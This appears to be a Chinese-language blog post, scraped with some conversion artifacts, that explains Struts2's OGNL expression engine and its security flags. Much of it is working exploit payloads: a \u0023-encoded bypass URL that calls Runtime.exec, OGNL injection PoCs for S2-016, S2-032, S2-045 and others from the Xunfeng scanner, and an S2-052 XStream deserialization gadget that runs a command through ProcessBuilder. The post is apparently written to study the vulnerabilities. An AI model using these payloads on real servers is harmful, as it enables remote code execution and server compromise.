1、struts2簡介:html
目前web框架中很是流行的都是mvc設計模式、經典例子例如:python的Django、Flask;java的ssm等。由於使用MVC設計模式,因此在框架內部處理用戶數據流參數的過後就不可避免的存在數據在不一樣層次流轉的問題。struts2做爲java的一款成熟的web框架,天然也面臨這個問題,因而struts2世紀了一套OGNL的模式來操做。java
2、OGNL(表達式引擎,處理view層數據都字符串到controller層轉換成java對象的問題)的簡單介紹:python
參考他人博客http://www.javashuo.com/article/p-hznhszde-mq.html(鳴謝)web
對於用戶輸入的參數存取處理api都在ognl.java中,分別由getvalue和setvalue兩個函數實現express
1 public static Object getValue(String expression,Map context,Object root) throws OgnlException{ 2 return getValue((String)expression,(Map)context,root,(Class)null); 3 } 4 public static void setValue(String expression,Map context,Object root,Object value) throws OgnlException{ 5 return setValue((Object)parseExpression(expression),(Map)content,root,value); 6 }
三要素:apache
一、expression是帶有語法語義的字符串,他定義了ognl要怎麼處理一個對象。設計模式
二、root 被操做對象,就是ognl利用expression定義好的操做對root進行處理。訪問root屬性過後使用.調用:例如department.leader.name。getvalue和setvalue的對象(本質是一個java對象)。api
三、content上下文環境對象,root所處的上下文環境。在這裏定義爲OgnlContext對象,root是其中一個特殊變量。訪問使用#開始.區分,例如#root.department.leader.name(本質是一個Map結構)。安全
特殊的,ognl對靜態屬性和方法的訪問,使用@classname@functiononame/varitename,舉例:@core.example.core.Recourse@img/@core.example.core.Recourse@get()服務器
3、OGNL支持構造對象(直接表達式建立):
一、構造list {} 中間用,分開元素的方式表達式列表
二、map 使用#{}構造,都好隔開key:value
三、java class的構造函數建立
4、在OGNL實現過程當中的安全保護機制:
上文提到過,content在OGNL.java中定義在了計算時才動態建立的OgnlContext對象裏面,並傳入Map類型的content對root和一些默認行爲。在一連串的過程當中,struts默認配置一些安全保障機制,惋惜是能夠被繞過的。
1 //SecurityMemberAccess類中兩個參數限制 2 denyMethodExecution = true;//禁止執行靜態方法 3 MemberAccess = false;//禁止靜態方法訪問
5、漏洞利用:
一、對#的過濾可使用\u0023 Unicode編碼代替(早期的修補方案沒有考慮到編碼的問題,只是簡單作了過濾)
#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
上面繞過了兩個安全機制參數的限制(修改了安全機制參數的值)
\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)
後面接的就是代碼執行構造的命令執行:
&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
1 /* 2 http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1 3 */
6、參看巡風的多個PoCs的Payload:
由於對於Java的複雜代碼暫時沒有分析能力,因此呢,有些poc裏面的東西不能完整的理解其實現的每一步,先Mark下,後面再具體來看吧。
1 /* 2 "S2_016": {"poc": [ 3 "redirect:${%23out%3D%23\u0063\u006f\u006e\u0074\u0065\u0078\u0074.\u0067\u0065\u0074(new \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,120,119,111,114,107,50,46,100,105,115,112,97,116,99,104,101,114,46,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101})).\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072(),%23\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{46,46,81,116,101,115,116,81,46,46})),%23\u0072\u0065\u0064\u0069\u0072\u0065\u0063\u0074,%23\u006f\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065()}"], 4 "key": "QtestQ"}, 5 "S2_020": { 6 "poc": ["class[%27classLoader%27][%27jarPath%27]=1024", "class[%27classLoader%27][%27resources%27]=1024"], 7 "key": "No result defined for action"}, 8 "S2_DEBUG": {"poc": [ 9 "debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()"], 10 "key": "[ok]"}, 11 "S2_017_URL": {"poc": ["redirect:http://360.cn/", "redirectAction:http://360.cn/%23"], 12 "key": "http://www.360.cn/favicon.ico"}, 13 "S2_032": {"poc": [ 14 "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(66666666-2),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"], 15 "key": "66666664"}, 16 "S2_045": {"poc": [ 17 "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'xunfeng'+']')).(#o.close())}"], 18 "key": "[xunfeng]"} 19 20 """s2-052的,這是一個XML反序列化的與以前的不一樣 21 當啓用 Struts REST的XStream handler去反序列化處理XML請求,可能形成遠程代碼執行漏洞,進而直接致使服務器被入侵控制。 22 post_data = """<map> 23 <entry> 24 <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>nslookup</string><string>%s</string><string>%s</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 25 </entry> 26 </map>""" % 27 """ 28 */